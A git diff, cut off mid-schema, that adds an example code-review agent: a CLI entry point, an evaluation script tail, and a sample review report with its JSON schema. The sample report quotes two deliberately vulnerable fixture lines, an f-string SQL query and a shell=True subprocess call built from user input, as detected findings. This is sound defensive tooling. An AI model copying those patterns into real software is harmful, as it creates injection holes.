parser.add_argument("--output-dir", type=Path, default=Path("evaluation")) + parser.add_argument("--write-db", type=Path) + return parser + + +def main(argv: Sequence[str] | None = None) -> int: + """执行八条 fixture、公开语料与盲区观测,写摘要并依据硬门禁返回退出码。""" + + args = _build_parser().parse_args(argv) + configure_safe_logging("WARNING") + started = time.monotonic() + try: + corpus = _load_json(CORPUS_PATH) + blind_spots = _load_json(BLIND_SPOT_PATH) + boundary_cases = _boundary_case_count(corpus) + with tempfile.TemporaryDirectory( + prefix="code-review-evaluate-", + ignore_cleanup_errors=True, + ) as temporary_directory: + work_root = Path(temporary_directory) + fixture_runs, fixture_plaintext_hits = _run_fixture_suite(work_root, args.sandbox) + corpus_result = _evaluate_corpus(corpus, work_root, args.sandbox) + blind_spot_cases, blind_spot_findings = _observe_blind_spots(blind_spots, work_root, args.sandbox) + duration_ms = int((time.monotonic() - started) * 1000) + metrics = dict(corpus_result["metrics"]) + metrics["plaintext_hits"] = int(metrics["plaintext_hits"]) + fixture_plaintext_hits + corpus_summary = dict(corpus_result["corpus"]) + corpus_summary["blind_spot_cases"] = blind_spot_cases + corpus_summary["boundary_cases"] = boundary_cases + summary: dict[str, Any] = { + "schema_version": "1.0.0", + "rule_pack_version": "1.0.0", + "config_digest": ReviewConfig().config_digest, + "model_mode": "fake", + "runtime": args.sandbox, + "python": platform.python_version(), + "platform": platform.platform(), + "docker_available": shutil.which("docker") is not None, + "fixture_summary": { + "passed": sum(_fixture_run_passed(run) for run in fixture_runs), + "total": len(FIXTURE_NAMES), + }, + "fixture_runs": fixture_runs, + "corpus": corpus_summary, + "blind_spot_observation": {"findings": blind_spot_findings}, + "metrics": metrics, + "duration_ms": duration_ms, + "history": {"enabled": args.write_db is not None}, + "ac2_statement": "公开代理语料仅用于佐证 AC2,不代表官方隐藏样本结果。", + } + _write_summary(args.output_dir, summary) + if args.write_db is not None: + _write_history(args.write_db, summary) + hard_gates_passed = _hard_gates_pass(metrics, fixture_runs) + status = "passed" if hard_gates_passed else "failed" + print(json.dumps({"status": status}, ensure_ascii=False)) + return 0 if hard_gates_passed else 1 + except (OSError, RuntimeError, ValueError, subprocess.SubprocessError): + print(json.dumps({"status": "failed", "error": "evaluation_runtime_error"}, ensure_ascii=False)) + return 2 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/skills_code_review_agent/requirements.txt b/examples/skills_code_review_agent/requirements.txt new file mode 100644 index 000000000..f321f1607 --- /dev/null +++ b/examples/skills_code_review_agent/requirements.txt @@ -0,0 +1 @@ +jsonschema>=4.0.0,<5.0.0 diff --git a/examples/skills_code_review_agent/run_agent.py b/examples/skills_code_review_agent/run_agent.py new file mode 100644 index 000000000..69e84e8d6 --- /dev/null +++ b/examples/skills_code_review_agent/run_agent.py @@ -0,0 +1,563 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Command-line entry point for the automatic code-review Agent.""" + +from __future__ import annotations + +import argparse +import json +import logging +import shutil +import subprocess +import sys +import warnings +from collections.abc import Mapping, Sequence +from pathlib import Path +from typing import Any + +from code_review.config import ReviewConfig +from code_review.governance import ( + ExecutionBudget, + GovernanceRequest, + SandboxGovernanceFilter, +) +from code_review.inputs import FixturePayload, InputValidationError, load_input +from code_review.model_environment import load_model_environment +from code_review.model_runtime import build_real_model +from code_review.pipeline import PipelineFatalError, ReviewPipeline +from code_review.redaction import contains_plaintext_secret +from code_review.trace import TraceSink, emit_trace +from code_review.sandbox import ( + SandboxConfigurationError, + SandboxRuntimeSelection, + SdkSkillSandbox, + build_sandbox_environment, + create_sandbox_runtime, +) +from code_review.store import DEFAULT_DB_URL, SqlReviewStore, init_db +from trpc_agent_sdk.models import LLMModel + + +_PROJECT_ROOT = Path(__file__).resolve().parent +_SKILL_ROOT = _PROJECT_ROOT / "skills" / "code-review" +_MANIFEST_PATH = _SKILL_ROOT / "scripts" / "manifest.json" +_SEVERITY_RANK = {"low": 1, "medium": 2, "high": 3, "critical": 4} +_LOGGER = logging.getLogger("code_review_agent") +_USER_QUERY_MAX_CHARACTERS = 1000 + + +class CliError(ValueError): + """表示应以退出码 2 返回且不泄露原始异常文本的用户输入或运行配置错误。""" + + +class PipelineGovernance: + """把 C1 的受控 Filter 请求适配为 ReviewPipeline 所需的治理端口。""" + + def __init__(self, *, selection: Any, config: ReviewConfig, workspace_root: Path) -> None: + """绑定已选 runtime、固定配置和仅用于相对路径校验的任务 workspace 根目录。""" + + self._selection = selection + self._config = config + self._workspace_root = workspace_root + self._filter = SandboxGovernanceFilter(_MANIFEST_PATH, config=config) + + def decide(self, **_arguments: Any) -> Mapping[str, Any]: + """为固定 run_checks 脚本创建无 shell、无敏感环境变量的唯一治理请求。""" + + request = GovernanceRequest( + script_id="run_checks", + structured_args={}, + skill_root=_SKILL_ROOT, + workspace_root=self._workspace_root, + input_paths=(Path("work/inputs/diff.json"),), + output_paths=(Path("out/findings.json"),), + environment=build_sandbox_environment(), + runtime_type=self._selection.runtime_type, + effective_network_mode=self._selection.effective_network_mode, + network_policy_verified=self._selection.network_policy_verified, + explicit_local=self._selection.explicit_local, + budget=ExecutionBudget(), + ) + return self._filter.decide(request).to_mapping() + + +def _json_output(payload: Mapping[str, Any]) -> None: + """输出稳定 JSON,避免 CLI 结果混入路径、异常原文或非结构化日志。""" + + print(json.dumps(dict(payload), ensure_ascii=False, sort_keys=True)) + + +def configure_safe_logging(level_name: str | None) -> None: + """配置仅输出安全项目事件的 stderr 日志,并屏蔽可能含路径或工作区标识的 SDK 原始诊断。""" + + level = getattr(logging, (level_name or "INFO").upper(), logging.INFO) + handler = logging.StreamHandler(sys.stderr) + handler.setFormatter(logging.Formatter("[%(levelname)s] %(message)s")) + _LOGGER.handlers.clear() + _LOGGER.addHandler(handler) + _LOGGER.setLevel(level) + _LOGGER.propagate = False + sdk_logger = logging.getLogger("trpc_agent_sdk") + sdk_logger.handlers.clear() + sdk_logger.addHandler(logging.NullHandler()) + sdk_logger.setLevel(logging.CRITICAL + 1) + sdk_logger.propagate = False + + +def _terminal_report_path(path: Path) -> str: + """把报告路径限制为当前目录相对形式,避免 INFO 日志暴露宿主绝对路径。""" + + try: + return path.resolve().relative_to(Path.cwd().resolve()).as_posix() + except (OSError, ValueError): + return path.name + + +def _trace_sink(args: argparse.Namespace) -> TraceSink | None: + """在显式 --trace 时构造 stderr JSONL sink,保持 stdout 的最终结果契约。""" + + if not getattr(args, "trace", False): + return None + + def write(event: str, details: Mapping[str, object]) -> None: + """将已脱敏事件立即写到 stderr,供终端实时展示与脚本过滤。""" + + payload = {"event": event, **dict(details)} + print( + "[code-review-trace] " + json.dumps(payload, ensure_ascii=False, sort_keys=True), + file=sys.stderr, + flush=True, + ) + + return write + + +def load_fixture_payload(name: str) -> FixturePayload: + """从受控 fixture 目录解析 diff 或 JSON 载荷,供 CLI 与评测复用同一可信 fixture 边界。""" + + if not name or Path(name).name != name: + raise CliError("fixture_name_invalid") + fixture_dir = _PROJECT_ROOT / "tests" / "fixtures" / "diffs" + diff_path = fixture_dir / f"{name}.diff" + json_path = fixture_dir / f"{name}.json" + if diff_path.is_file(): + return FixturePayload(payload_type="diff", diff_text=diff_path.read_text(encoding="utf-8")) + if json_path.is_file(): + try: + payload = json.loads(json_path.read_text(encoding="utf-8")) + except (OSError, UnicodeDecodeError, json.JSONDecodeError) as exc: + raise CliError("fixture_payload_invalid") from exc + if isinstance(payload, dict) and isinstance(payload.get("diff"), str): + return FixturePayload(payload_type="diff", diff_text=payload["diff"]) + raise CliError("fixture_not_found") + + +def _normalized_files(values: Sequence[str], input_root: Path) -> tuple[Path, ...]: + """把 CLI 文件实参规范为 input_root 内相对路径,拒绝宿主路径逃逸。""" + + normalized: list[Path] = [] + resolved_root = input_root.resolve() + for value in values: + candidate = Path(value) + if candidate.is_absolute(): + try: + candidate = candidate.resolve().relative_to(resolved_root) + except (OSError, ValueError) as exc: + raise CliError("input_path_outside_root") from exc + normalized.append(candidate) + return tuple(normalized) + + +def _container_available() -> bool: + """在启动任务前检查严格默认 container 的最小本机前置,缺失时不伪造 local 回退。""" + + executable = shutil.which("docker") + if executable is None: + return False + try: + result = subprocess.run( + [executable, "version", "--format", "{{.Server.Version}}"], + check=False, + capture_output=True, + timeout=5, + ) + except (OSError, subprocess.TimeoutExpired): + return False + return result.returncode == 0 + + +def build_review_pipeline( + args: argparse.Namespace, +) -> tuple[ReviewPipeline, SqlReviewStore, SdkSkillSandbox, SandboxRuntimeSelection]: + """按明确 sandbox 选择组装唯一 ReviewPipeline,供 CLI 与受控评测复用且不让 dry-run 改变隔离策略。""" + + config = ReviewConfig.from_env() + output_dir = Path(args.output_dir) + if args.sandbox == "container" and not _container_available(): + raise CliError("container_runtime_unavailable") + try: + selection = create_sandbox_runtime( + args.sandbox, + explicit_local=args.sandbox == "local", + local_work_root=str(output_dir / ".workspaces"), + ) + except SandboxConfigurationError as exc: + raise CliError("sandbox_configuration_invalid") from exc + + model_environment = None + if args.model_mode == "real" and not args.dry_run: + model_environment = load_model_environment(_PROJECT_ROOT / ".env") + store = SqlReviewStore(args.db_url) + sandbox = SdkSkillSandbox(selection, _SKILL_ROOT, config=config) + pipeline = ReviewPipeline( + store=store, + governance=PipelineGovernance( + selection=selection, + config=config, + workspace_root=output_dir / ".workspace-root", + ), + sandbox=sandbox, + output_dir=output_dir, + config=config, + model_mode="fake" if args.dry_run else args.model_mode, + model_environment=model_environment, + ) + return pipeline, store, sandbox, selection + + +def _agent_model(args: argparse.Namespace) -> LLMModel | None: + """仅在显式 real 且非 dry-run 时构造真实 Agent 模型,其余模式使用离线工具调用模型。""" + + if args.dry_run or args.model_mode != "real": + return None + environment = load_model_environment(_PROJECT_ROOT / ".env") + api_key = environment.get("TRPC_AGENT_API_KEY", "") + base_url = environment.get("TRPC_AGENT_BASE_URL", "") + model_name = environment.get("TRPC_AGENT_MODEL_NAME", "") + if not api_key or not base_url or not model_name: + raise CliError("real_model_configuration_missing") + return build_real_model(environment) + + +def _create_sdk_review_agent( + *, + pipeline: ReviewPipeline, + selection: SandboxRuntimeSelection, + sandbox: SdkSkillSandbox, + model: LLMModel | None, +) -> Any: + """仅在 user-query 入口加载 SDK Agent,并屏蔽已知第三方弃用警告以保护终端路径边界。""" + + from langchain_core._api.deprecation import LangChainPendingDeprecationWarning + + warnings.filterwarnings( + "ignore", + message=r"The default value of `allowed_objects` will change.*", + category=LangChainPendingDeprecationWarning, + module=r"langgraph\.checkpoint\..*", + ) + from agent.agent import create_review_agent + + return create_review_agent( + pipeline=pipeline, + skill_root=_PROJECT_ROOT / "skills", + model=model, + workspace_runtime=selection.runtime, + workspace_binder=sandbox, + review_deadline_seconds=pipeline.review_deadline_seconds, + ) + + +def _review_input(args: argparse.Namespace) -> dict[str, Any]: + """将 argparse 输入转换为 pipeline 的四选一输入契约,并保留 fixture 解析边界。""" + + if args.diff_file is not None: + return {"diff_file": Path(args.diff_file)} + if args.repo_path is not None: + return {"repo_path": Path(args.repo_path)} + if args.files: + input_root = Path(args.input_root).resolve() + return { + "files": _normalized_files(args.files, input_root), + "input_root": input_root, + } + if args.fixture is not None: + return {"fixture": load_fixture_payload(args.fixture)} + raise CliError("review_input_required") + + +def _validate_user_query(query: str) -> None: + """验证自然语言意图不携带凭据、原始补丁或不可控二进制内容。""" + + if not isinstance(query, str) or not query.strip() or len(query) > _USER_QUERY_MAX_CHARACTERS: + raise CliError("user_query_invalid") + if "\x00" in query or "diff --git " in query or "\n@@ " in query: + raise CliError("user_query_payload_forbidden") + if contains_plaintext_secret(query): + raise CliError("user_query_secret_forbidden") + + +def _preflight_user_query_input(args: argparse.Namespace) -> dict[str, Any]: + """在创建 Agent 前验证四类结构化输入,确保无效载荷零模型和沙箱副作用。""" + + input_options = _review_input(args) + try: + parsed = load_input(config=ReviewConfig.from_env(), **input_options) + except (InputValidationError, ValueError) as exc: + raise CliError("user_query_input_invalid") from exc + if input_options.get("diff_file") is not None and parsed.change_set.file_count == 0: + raise CliError("user_query_diff_invalid") + return input_options + + +def _source_kind(input_options: Mapping[str, Any]) -> str: + """从已验证的输入选项提取安全来源枚举,禁止读取路径或原始载荷。""" + + for name in ("fixture", "diff_file", "repo_path", "files"): + if input_options.get(name) is not None: + return name.removesuffix("_file").removesuffix("_path") + return "unknown" + + +def _severity_exit_code(report: Mapping[str, Any], threshold: str | None) -> int: + """仅根据 canonical 正式 findings 和显式阈值决定评审命令的 0 或 1。""" + + if threshold is None: + return 0 + minimum = _SEVERITY_RANK[threshold] + for finding in report.get("findings", ()): # needs_human_review 不得改变 CI 失败语义。 + if isinstance(finding, Mapping) and _SEVERITY_RANK.get(finding.get("severity"), 0) >= minimum: + return 1 + return 0 + + +def _report_output_paths(output_dir: Path) -> dict[str, str]: + """返回本次终端可见的完整报告路径,不把路径持久化到审查数据。""" + + return { + "json": str((output_dir / "review_report.json").resolve()), + "markdown": str((output_dir / "review_report.md").resolve()), + } + + +def _run_review( + args: argparse.Namespace, + *, + use_agent: bool, + user_instruction: str | None = None, + input_options: Mapping[str, Any] | None = None, +) -> int: + """按 direct 或 Agent 入口执行同一 pipeline,并只输出安全的运行摘要。""" + + pipeline, store, sandbox, selection = build_review_pipeline(args) + trace = _trace_sink(args) + try: + resolved_input = dict(_review_input(args) if input_options is None else input_options) + agent = None + entrypoint = "agent" if use_agent else "pipeline" + _LOGGER.info( + "Review started: entrypoint=%s model_mode=%s runtime=%s", + entrypoint, + "fake" if args.dry_run else args.model_mode, + args.sandbox, + ) + container_id = sandbox.container_id + if container_id: + _LOGGER.info("Container started: container_id=%s", container_id) + emit_trace( + trace, + "review.started", + entrypoint=entrypoint, + runtime_type=args.sandbox, + model_mode="fake" if args.dry_run else args.model_mode, + ) + if use_agent: + agent = _create_sdk_review_agent( + pipeline=pipeline, + model=_agent_model(args), + selection=selection, + sandbox=sandbox, + ) + result = agent.review( + user_instruction=user_instruction, + trace=trace, + **resolved_input, + ) + else: + result = pipeline.run(trace=trace, **resolved_input) + emit_trace(trace, "review.completed", status=result.status, entrypoint=entrypoint) + report_files = _report_output_paths(Path(args.output_dir)) + _LOGGER.info( + "Report persisted: status=%s findings=%s warnings=%s needs_human_review=%s", + result.status, + len(result.report.get("findings", ())), + len(result.report.get("warnings", ())), + len(result.report.get("needs_human_review", ())), + ) + _LOGGER.info("JSON report saved to: %s", _terminal_report_path(Path(report_files["json"]))) + _LOGGER.info("Markdown report saved to: %s", _terminal_report_path(Path(report_files["markdown"]))) + _json_output( + { + "task_id": result.task_id, + "status": result.status, + "entrypoint": entrypoint, + "skill_tools": list(agent.last_tool_trace) if agent is not None else [], + "report_files": report_files, + "dry_run": bool(args.dry_run), + "sandbox": args.sandbox, + } + ) + return _severity_exit_code(result.report, args.fail_on_severity) + except PipelineFatalError as exc: + raise CliError("review_pipeline_failed") from exc + finally: + store.close() + + +def _review(args: argparse.Namespace) -> int: + """执行公开 direct review 入口,不创建 Agent 或 Skill 工具调用。""" + + return _run_review(args, use_agent=False) + + +def _user_query(args: argparse.Namespace) -> int: + """验证自然语言意图和结构化输入后,经 SDK Agent 调用受控 code-review Skill。""" + + trace = _trace_sink(args) + emit_trace(trace, "user_query.request_received", input_type="query") + _validate_user_query(args.query) + input_options = _preflight_user_query_input(args) + emit_trace(trace, "user_query.input_validated", input_type=_source_kind(input_options)) + return _run_review( + args, + use_agent=True, + user_instruction=args.query, + input_options=input_options, + ) + + +def _show(args: argparse.Namespace) -> int: + """按 task id 查询完整脱敏数据库 bundle;不存在时以退出码 2 表达无效请求。""" + + store = SqlReviewStore(args.db_url) + try: + store.initialize() + bundle = store.get_task_bundle(args.task_id) + finally: + store.close() + if bundle is None: + raise CliError("task_not_found") + _json_output(bundle) + return 0 + + +def _list(args: argparse.Namespace) -> int: + """列出任务的最小安全摘要,避免将报告、原始输入或宿主路径复制到标准输出。""" + + store = SqlReviewStore(args.db_url) + try: + store.initialize() + payload = {"tasks": store.list_task_summaries()} + finally: + store.close() + _json_output(payload) + return 0 + + +def _init_db(args: argparse.Namespace) -> int: + """初始化指定数据库的五张业务表,保持该子命令幂等。""" + + init_db(args.db_url) + _json_output({"status": "initialized"}) + return 0 + + +def _add_db_argument(parser: argparse.ArgumentParser) -> None: + """向子命令添加可替换 SQL 后端的 URL 参数,默认保持 SQLite 开箱即用。""" + + parser.add_argument("--db-url", default=DEFAULT_DB_URL) + + +def _add_review_execution_arguments(parser: argparse.ArgumentParser) -> None: + """为 review 与 user-query 添加一致的沙箱、模型、输出和 CI 失败阈值参数。""" + + parser.add_argument("--output-dir", default="out") + parser.add_argument("--sandbox", choices=("container", "cube", "local"), default="container") + parser.add_argument("--dry-run", action="store_true") + parser.add_argument("--model-mode", choices=("fake", "real", "off"), default="fake") + parser.add_argument("--log-level", choices=("DEBUG", "INFO", "WARNING"), default="INFO") + parser.add_argument("--trace", action="store_true", help="stream sanitized review progress to stderr") + parser.add_argument("--fail-on-severity", choices=tuple(_SEVERITY_RANK)) + _add_db_argument(parser) + + +def _add_review_input_arguments(parser: argparse.ArgumentParser) -> None: + """为 direct 与 Agent 入口添加完全一致且互斥的四类结构化输入参数。""" + + inputs = parser.add_mutually_exclusive_group(required=True) + inputs.add_argument("--diff-file") + inputs.add_argument("--repo-path") + inputs.add_argument("--files", nargs="+") + inputs.add_argument("--fixture") + parser.add_argument("--input-root", default=str(Path.cwd())) + + +def _build_parser() -> argparse.ArgumentParser: + """构建仅暴露本期允许参数的子命令解析器,未知高风险参数由 argparse 拒绝。""" + + parser = argparse.ArgumentParser(description="Automatic code-review Agent") + subcommands = parser.add_subparsers(dest="command", required=True) + + review = subcommands.add_parser("review", help="run one deterministic review") + _add_review_input_arguments(review) + _add_review_execution_arguments(review) + review.set_defaults(handler=_review) + + user_query = subcommands.add_parser( + "user-query", + help="run an Agent review from natural-language intent and one explicit input", + ) + user_query.add_argument("query") + _add_review_input_arguments(user_query) + _add_review_execution_arguments(user_query) + user_query.set_defaults(handler=_user_query) + + show = subcommands.add_parser("show", help="show one persisted review bundle") + show.add_argument("task_id") + _add_db_argument(show) + show.set_defaults(handler=_show) + + list_command = subcommands.add_parser("list", help="list persisted review tasks") + _add_db_argument(list_command) + list_command.set_defaults(handler=_list) + + initialize = subcommands.add_parser("init-db", help="initialize the review database") + _add_db_argument(initialize) + initialize.set_defaults(handler=_init_db) + return parser + + +def main(argv: Sequence[str] | None = None) -> int: + """分发 CLI 子命令并将可预期错误收敛为 2,其他异常不暴露原始运行环境信息。""" + + parser = _build_parser() + args = parser.parse_args(argv) + configure_safe_logging(getattr(args, "log_level", "WARNING")) + try: + return int(args.handler(args)) + except (CliError, ValueError): + _json_output({"status": "invalid", "error": "invalid_request_or_configuration"}) + return 2 + except Exception: + _json_output({"status": "failed", "error": "review_runtime_error"}) + return 2 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/skills_code_review_agent/sample_output/review_report.json b/examples/skills_code_review_agent/sample_output/review_report.json new file mode 100644 index 000000000..7b568dfd7 --- /dev/null +++ b/examples/skills_code_review_agent/sample_output/review_report.json @@ -0,0 +1,142 @@ +{ + "config_digest": "dd2f3a4d0768ccb4d4d83c0820345ac67e2c7fc5f3aff9531c628f74a187c708", + "filter_summary": { + "allow_count": 1, + "deny_count": 0, + "events": [ + { + "action": "allow", + "reasons": [ + "manifest_verified" + ], + "rule": "sandbox_governance", + "stage": "pre_execution", + "target": "run_checks" + } + ], + "needs_human_review_count": 0 + }, + "final_conclusion": { + "recommendations": [ + "Pass an argument list with shell disabled and validate all command inputs.", + "Use parameterized queries and bind user-controlled values separately.", + "请在隔离分支完成修复并补充对应回归测试。" + ], + "summary": "已生成脱敏的人工复核摘要。" + }, + "findings": [ + { + "bucket": "findings", + "category": "security", + "confidence": 0.82, + "dedup_key": "src/query.py:4:security", + "evidence": " cursor.execute(f\"SELECT * FROM users WHERE id = {user_id}\")", + "extra": { + "also_matched": [] + }, + "file": "src/query.py", + "line": 4, + "line_side": "new", + "recommendation": "请在隔离分支完成修复并补充对应回归测试。", + "rule_id": "security.sql-fstring", + "severity": "high", + "source": "heuristic", + "title": "SQL is built with an interpolated f-string" + }, + { + "bucket": "findings", + "category": "security", + "confidence": 0.85, + "dedup_key": "src/query.py:5:security", + "evidence": " subprocess.run(\"echo \" + user_id, shell=True)", + "extra": { + "also_matched": [] + }, + "file": "src/query.py", + "line": 5, + "line_side": "new", + "recommendation": "请在隔离分支完成修复并补充对应回归测试。", + "rule_id": "security.subprocess-shell-true", + "severity": "high", + "source": "heuristic", + "title": "subprocess executes with shell=True" + } + ], + "input_sha256": "196ef9c37609886fe3221d0bd2f07244fb697fa95a7e4811fa840316c94c7446", + "input_summary": { + "additions": 8, + "deletions": 0, + "file_count": 2, + "files": [ + { + "path": "src/query.py", + "review_scope": "full_file", + "status": "added" + }, + { + "path": "tests/test_query.py", + "review_scope": "full_file", + "status": "added" + } + ], + "hunk_count": 2, + "parse_warnings": [], + "source_kind": "fixture" + }, + "metrics": { + "category_distribution": { + "security": 2 + }, + "error_type_distribution": {}, + "filter_block_count": 0, + "filter_review_count": 0, + "finding_count": 2, + "llm_duration_ms": 4, + "needs_human_review_count": 0, + "platform": "Windows", + "python_version": "3.12", + "runtime_type": "local", + "sandbox_duration_ms": 267, + "sandbox_run_count": 1, + "severity_distribution": { + "high": 2 + }, + "suppressed_count": 0, + "tool_call_count": 2, + "total_duration_ms": 630, + "warning_count": 1 + }, + "needs_human_review": [], + "rule_pack_version": "1.0.0", + "sandbox_summary": { + "run_count": 1, + "runs": [ + { + "duration_ms": 267, + "error_type": null, + "exit_code": 0, + "filter_action": "allow", + "status": "ok", + "stderr_excerpt": "", + "stdout_excerpt": "", + "timed_out": false, + "truncated": false + } + ], + "runtime_type": "local" + }, + "schema_version": "1.0.0", + "status": "completed_with_warnings", + "suppressed": { + "count": 0, + "reasons": {} + }, + "task_id": "review-dc105585ea724c808689045e3e2e3213", + "warnings": [ + { + "code": "local_isolation_unverifiable", + "message": "local_isolation_unverifiable occurred during governance", + "stage": "governance" + } + ] +} diff --git a/examples/skills_code_review_agent/sample_output/review_report.md b/examples/skills_code_review_agent/sample_output/review_report.md new file mode 100644 index 000000000..06c837ff4 --- /dev/null +++ b/examples/skills_code_review_agent/sample_output/review_report.md @@ -0,0 +1,47 @@ +# 自动代码评审报告 + +任务 ID:review-dc105585ea724c808689045e3e2e3213 +状态:completed_with_warnings + +## 输入范围 +- 来源:fixture +- 文件数:2;hunk 数:2;新增:8;删除:0 +- src/query.py:状态=added;审查范围:full_file +- tests/test_query.py:状态=added;审查范围:full_file + +## 1. Findings 摘要 +- [high] src/query.py(新侧行 4)— SQL is built with an interpolated f\-string + - 证据: cursor\.execute\(f"SELECT \* FROM users WHERE id = \{user\_id\}"\) + - 建议:请在隔离分支完成修复并补充对应回归测试。 +- [high] src/query.py(新侧行 5)— subprocess executes with shell=True + - 证据: subprocess\.run\("echo " \+ user\_id, shell=True\) + - 建议:请在隔离分支完成修复并补充对应回归测试。 + +## 2. 严重级别统计 +- high:2 + +## 3. 人工复核项 +- 无。 + +## 4. 运行告警 +- [local_isolation_unverifiable] local\_isolation\_unverifiable occurred during governance + +## 5. Filter 拦截摘要 +- allow=1;deny=0;needs_human_review=0 +- 事件数:1 + +## 6. 沙箱执行摘要 +- runtime:local +- 执行次数:1;运行摘要数:1 + +## 7. 监控指标 +- 总耗时:630 ms +- 沙箱耗时:267 ms +- 工具调用:2;沙箱运行:1 +- warnings:1;suppressed:0 + +## 8. 结论与可执行修复建议 +- 摘要:已生成脱敏的人工复核摘要。 +1. 请在隔离分支完成修复并补充对应回归测试。 +2. Pass an argument list with shell disabled and validate all command inputs\. +3. Use parameterized queries and bind user\-controlled values separately\. diff --git a/examples/skills_code_review_agent/schemas/review_report.schema.json b/examples/skills_code_review_agent/schemas/review_report.schema.json new file mode 100644 index 000000000..0e5e54fbb --- /dev/null +++ b/examples/skills_code_review_agent/schemas/review_report.schema.json @@ -0,0 +1,476 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$id": "https://trpc.group/schemas/code-review/review-report-1.0.0.json", + "title": "Automatic Code Review Report", + "type": "object", + "additionalProperties": false, + "required": [ + "schema_version", + "rule_pack_version", + "config_digest", + "input_sha256", + "task_id", + "status", + "input_summary", + "findings", + "needs_human_review", + "warnings", + "suppressed", + "filter_summary", + "sandbox_summary", + "metrics", + "final_conclusion" + ], + "properties": { + "schema_version": { + "type": "string", + "minLength": 1 + }, + "rule_pack_version": { + "type": "string", + "minLength": 1 + }, + "config_digest": { + "$ref": "#/$defs/sha256" + }, + "input_sha256": { + "$ref": "#/$defs/sha256" + }, + "task_id": { + "type": "string", + "minLength": 1 + }, + "status": { + "enum": [ + "running", + "completed", + "completed_with_warnings", + "failed" + ] + }, + "input_summary": { + "$ref": "#/$defs/inputSummary" + }, + "findings": { + "type": "array", + "items": { + "$ref": "#/$defs/finding" + } + }, + "needs_human_review": { + "type": "array", + "items": { + "$ref": "#/$defs/finding" + } + }, + "warnings": { + "type": "array", + "items": { + "$ref": "#/$defs/warning" + } + }, + "suppressed": { + "$ref": "#/$defs/suppressedSummary" + }, + "filter_summary": { + "$ref": "#/$defs/filterSummary" + }, + "sandbox_summary": { + "$ref": "#/$defs/sandboxSummary" + }, + "metrics": { + "$ref": "#/$defs/metrics" + }, + "final_conclusion": { + "$ref": "#/$defs/finalConclusion" + } + }, + "$defs": { + "sha256": { + "type": "string", + "pattern": "^[a-f0-9]{64}$" + }, + "finding": { + "type": "object", + "additionalProperties": false, + "required": [ + "severity", + "category", + "file", + "line", + "title", + "evidence", + "recommendation", + "confidence", + "source" + ], + "properties": { + "severity": { + "enum": [ + "critical", + "high", + "medium", + "low", + "info" + ] + }, + "category": { + "type": "string", + "minLength": 1 + }, + "file": { + "type": "string", + "minLength": 1 + }, + "line": { + "type": "integer", + "minimum": 1 + }, + "title": { + "type": "string", + "minLength": 1 + }, + "evidence": { + "type": "string" + }, + "recommendation": { + "type": "string", + "minLength": 1 + }, + "confidence": { + "type": "number", + "minimum": 0, + "maximum": 1 + }, + "source": { + "enum": [ + "rule-engine", + "ast", + "heuristic" + ] + }, + "line_side": { + "enum": [ + "new", + "old" + ], + "default": "new" + }, + "rule_id": { + "type": "string" + }, + "bucket": { + "enum": [ + "findings", + "needs_human_review", + "suppressed" + ] + }, + "dedup_key": { + "type": "string" + }, + "extra": { + "type": "object" + } + } + }, + "inputSummary": { + "type": "object", + "additionalProperties": false, + "required": [ + "source_kind", + "file_count", + "hunk_count", + "additions", + "deletions", + "files" + ], + "properties": { + "source_kind": { + "enum": [ + "diff_file", + "repo_path", + "files", + "fixture" + ] + }, + "file_count": { + "type": "integer", + "minimum": 0 + }, + "hunk_count": { + "type": "integer", + "minimum": 0 + }, + "additions": { + "type": "integer", + "minimum": 0 + }, + "deletions": { + "type": "integer", + "minimum": 0 + }, + "files": { + "type": "array", + "items": { + "type": "object", + "additionalProperties": false, + "required": [ + "path", + "status", + "review_scope" + ], + "properties": { + "path": { + "type": "string", + "minLength": 1 + }, + "status": { + "enum": [ + "added", + "modified", + "deleted", + "renamed", + "snapshot" + ] + }, + "review_scope": { + "enum": [ + "changed_lines", + "full_file", + "deleted_lines", + "skipped" + ] + } + } + } + }, + "parse_warnings": { + "type": "array", + "items": { + "type": "string" + } + } + } + }, + "warning": { + "type": "object", + "additionalProperties": false, + "required": [ + "code", + "message" + ], + "properties": { + "code": { + "type": "string", + "minLength": 1 + }, + "message": { + "type": "string", + "minLength": 1 + }, + "stage": { + "type": "string" + } + } + }, + "suppressedSummary": { + "type": "object", + "additionalProperties": false, + "required": [ + "count", + "reasons" + ], + "properties": { + "count": { + "type": "integer", + "minimum": 0 + }, + "reasons": { + "type": "object", + "additionalProperties": { + "type": "integer", + "minimum": 0 + } + } + } + }, + "filterSummary": { + "type": "object", + "additionalProperties": false, + "required": [ + "allow_count", + "deny_count", + "needs_human_review_count", + "events" + ], + "properties": { + "allow_count": { + "type": "integer", + "minimum": 0 + }, + "deny_count": { + "type": "integer", + "minimum": 0 + }, + "needs_human_review_count": { + "type": "integer", + "minimum": 0 + }, + "events": { + "type": "array", + "items": { + "type": "object" + } + } + } + }, + "sandboxSummary": { + "type": "object", + "additionalProperties": false, + "required": [ + "runtime_type", + "run_count", + "runs" + ], + "properties": { + "runtime_type": { + "enum": [ + "container", + "cube", + "local", + "fake" + ] + }, + "run_count": { + "type": "integer", + "minimum": 0 + }, + "runs": { + "type": "array", + "items": { + "type": "object" + } + } + } + }, + "metrics": { + "type": "object", + "additionalProperties": false, + "required": [ + "total_duration_ms", + "sandbox_duration_ms", + "llm_duration_ms", + "tool_call_count", + "sandbox_run_count", + "filter_block_count", + "filter_review_count", + "finding_count", + "warning_count", + "needs_human_review_count", + "suppressed_count", + "severity_distribution", + "category_distribution", + "error_type_distribution", + "runtime_type", + "python_version", + "platform" + ], + "properties": { + "total_duration_ms": { + "type": "integer", + "minimum": 0 + }, + "sandbox_duration_ms": { + "type": "integer", + "minimum": 0 + }, + "llm_duration_ms": { + "type": "integer", + "minimum": 0 + }, + "tool_call_count": { + "type": "integer", + "minimum": 0 + }, + "sandbox_run_count": { + "type": "integer", + "minimum": 0 + }, + "filter_block_count": { + "type": "integer", + "minimum": 0 + }, + "filter_review_count": { + "type": "integer", + "minimum": 0 + }, + "finding_count": { + "type": "integer", + "minimum": 0 + }, + "warning_count": { + "type": "integer", + "minimum": 0 + }, + "needs_human_review_count": { + "type": "integer", + "minimum": 0 + }, + "suppressed_count": { + "type": "integer", + "minimum": 0 + }, + 